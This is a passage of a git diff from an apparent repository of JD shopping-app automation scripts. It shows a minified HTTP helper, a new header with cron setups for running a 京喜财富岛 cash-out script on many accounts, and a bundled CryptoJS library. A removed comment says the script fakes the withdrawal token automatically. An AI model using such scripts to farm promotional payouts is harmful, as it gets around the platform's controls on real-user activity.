t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_cfd_cashOut.js b/jd_cfd_cashOut.js index 94613c6..ac82392 100755 --- a/jd_cfd_cashOut.js +++ b/jd_cfd_cashOut.js @@ -1,421 +1,595 @@ -"use strict"; -/** - * 提现金额,可选0.1 0.5 1 2 10 - * export CFD_CASHOUT_MONEY=0.1 - * - * 解锁提现方式二选一:1.升级1个建筑(优先) 2.完成日常任务 - * 自动模拟提现token,不需要抓包 +// @grant require +/* +京喜财富岛提现 +cron 59 11,12,23 * * * jd_cfdtx.js +更新时间:2021-7-20 +活动入口:京喜APP-我的-京喜财富岛提现 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛提现 +59 11,12,23 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfdtx.js, tag=京喜财富岛提现, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "59 11,12,23 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfdtx.js,tag=京喜财富岛提现 + +===============Surge================= +京喜财富岛提现 = type=cron,cronexp="59 11,12,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfdtx.js + +============小火箭========= +京喜财富岛提现 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfdtx.js, cronexpr="59 11,12,23 * * *", timeout=3600, enable=true */ -var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { - function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } - return new (P || (P = Promise))(function (resolve, reject) { - function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } - function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } - function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); -}; -var __generator = (this && this.__generator) || function (thisArg, body) { - var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; - return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; - function verb(n) { return function (v) { return step([n, v]); }; } - function step(op) { - if (f) throw new TypeError("Generator is already executing."); - while (_) try { - if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; - if (y = 0, t) op = [op[0] & 2, t.value]; - switch (op[0]) { - case 0: case 1: t = op; break; - case 4: _.label++; return { value: op[1], done: false }; - case 5: _.label++; y = op[1]; op = [0]; continue; - case 7: op = _.ops.pop(); _.trys.pop(); continue; - default: - if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } - if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } - if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } - if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } - if (t[2]) _.ops.pop(); - _.trys.pop(); continue; +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 